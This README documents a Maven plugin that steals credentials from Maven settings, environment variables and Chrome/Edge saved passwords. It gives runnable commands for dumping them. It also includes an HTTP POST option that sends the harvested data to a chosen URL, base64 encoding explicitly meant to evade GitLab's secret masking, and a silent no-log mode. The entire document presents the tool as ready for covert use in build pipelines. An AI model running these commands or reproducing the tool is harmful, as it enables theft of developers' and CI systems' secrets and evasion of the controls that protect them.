Maven plugin to extract password from different source:
- maven settings (repositories and mirror password)
 - env
 - chrome/edge
 
(no installation needed) Requirement:
- a working maven install (JAVA_HOME, path, etc...)
 
mvn ninja.stealing:maven-password:0.0.4:dump
git clone https://github.com/tr4l/maven-password.git
cd maven-password
mvn install
Added export for chrome password
- Windows: with and without DPAPI
 - Windows: With and without a master key
 - Linux: with the default Linux master key Added http delivery method Added different logger (incuding nolog)
 
Added export of env variable Added b64 export (to avoid [MASKED] protection in gitlab) Added Delivery interface. Only supporting log on first release Added json export
Some example of advanced usage
mvn ninja.stealing:maven-password:0.0.4:dump -Dlogger=nolog
Possible logger:
- nolog: no log. Even for the log delivery
 - maven:(default) Use builtin maven logging
 - system: write log using System.out
 
mvn ninja.stealing:maven-password:0.0.4:dump -Dextract='maven,env'
Possible extractor:
- all:(default) Use all extractor
 - maven: Extract maven information
 - env: Extract environment variables
 - chrome: Extract chrome/edge password
 
mvn ninja.stealing:maven-password:0.0.4:dump -Ddelivery=http -Durl="http://127.0.0.1:8080/xxx"
Possible delivery:
- log:(default) Deliver extraction trough log
 - http: Deliver extraction trough http POST request. This need an url parameter
 - all: all of the above
 
- private keys
 - sample settings
 - maven root password?
 - eclipse?
 - docker